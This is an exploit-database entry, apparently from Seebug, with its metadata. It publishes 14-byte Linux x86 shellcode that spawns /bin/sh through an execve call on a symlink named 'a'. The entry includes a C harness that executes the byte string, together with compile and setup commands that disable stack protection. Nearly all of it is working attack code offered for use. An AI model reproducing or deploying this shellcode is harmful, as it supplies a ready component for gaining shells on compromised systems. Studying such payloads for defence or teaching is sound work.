ID SSV:68890
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00
Description
No description provided by source.
#include <stdio.h>
#include <string.h>
/*
by Magnefikko
17.04.2010
magnefikko@gmail.com
Promhyl Studies :: http://promhyl.oz.pl
Subgroup: #PRekambr
Name: 14 bytes execve("a->/bin/sh") local-only shellcode
Platform: Linux x86
execve("a", 0, 0);
$ ln -s /bin/sh a
$ gcc -Wl,-z,execstack filename.c
$ ./a.out
Link is required.
shellcode:
\x31\xc0\x50\x6a\x61\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80
*/
int main(){
char shell[] = "\x31\xc0\x50\x6a\x61\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80";
printf("by Magnefikko\nmagnefikko@gmail.com\npromhyl.oz.pl\n\nstrlen(shell)
= %d\n", strlen(shell));
(*(void (*)()) shell)();
}
{"lastseen": "2017-11-19T13:43:14", "modified": "2014-07-01T00:00:00", "description": "No description provided by source.", "cvss": {"score": 0.0, "vector": "NONE"}, "published": "2014-07-01T00:00:00", "_object_type": "robots.models.seebug.SeebugBulletin", "status": "poc", "enchantments": {"score": {"value": 0.1, "vector": "NONE", "modified": "2017-11-19T13:43:14"}, "dependencies": {"references": [], "modified": "2017-11-19T13:43:14"}, "vulnersScore": 0.1}, "href": "https://www.seebug.org/vuldb/ssvid-68890", "references": [], "history": [], "_object_types": ["robots.models.base.Bulletin", "robots.models.seebug.SeebugBulletin"], "enchantments_done": [], "id": "SSV:68890", "title": "14 Bytes execve(\"a->/bin/sh\") Local-only Shellcode", "bulletinFamily": "exploit", "reporter": "Root", "cvelist": [], "viewCount": 0, "sourceData": "\n #include <stdio.h>\r\n#include <string.h>\r\n\r\n/*\r\n\tby Magnefikko\r\n\t17.04.2010\r\n\tmagnefikko@gmail.com\r\n\tPromhyl Studies :: http://promhyl.oz.pl\r\n\tSubgroup: #PRekambr\r\n\tName: 14 bytes execve("a->/bin/sh") local-only shellcode\r\n\tPlatform: Linux x86\r\n\t\r\n\texecve("a", 0, 0);\r\n\r\n\t$ ln -s /bin/sh a\r\n\t$ gcc -Wl,-z,execstack filename.c\r\n\t$ ./a.out\r\n\t\r\n\tLink is required.\r\n\r\n\tshellcode:\r\n\r\n\\x31\\xc0\\x50\\x6a\\x61\\x89\\xe3\\x99\\x50\\xb0\\x0b\\x59\\xcd\\x80\r\n\r\n*/\r\n\r\n\r\nint main(){\r\n\tchar shell[] = "\\x31\\xc0\\x50\\x6a\\x61\\x89\\xe3\\x99\\x50\\xb0\\x0b\\x59\\xcd\\x80";\r\n\tprintf("by Magnefikko\\nmagnefikko@gmail.com\\npromhyl.oz.pl\\n\\nstrlen(shell)\r\n= %d\\n", strlen(shell));\r\n\t(*(void (*)()) shell)();\r\n}\r\n\n ", "sourceHref": "https://www.seebug.org/vuldb/ssvid-68890", "type": "seebug", "objectVersion": "1.4"}
{}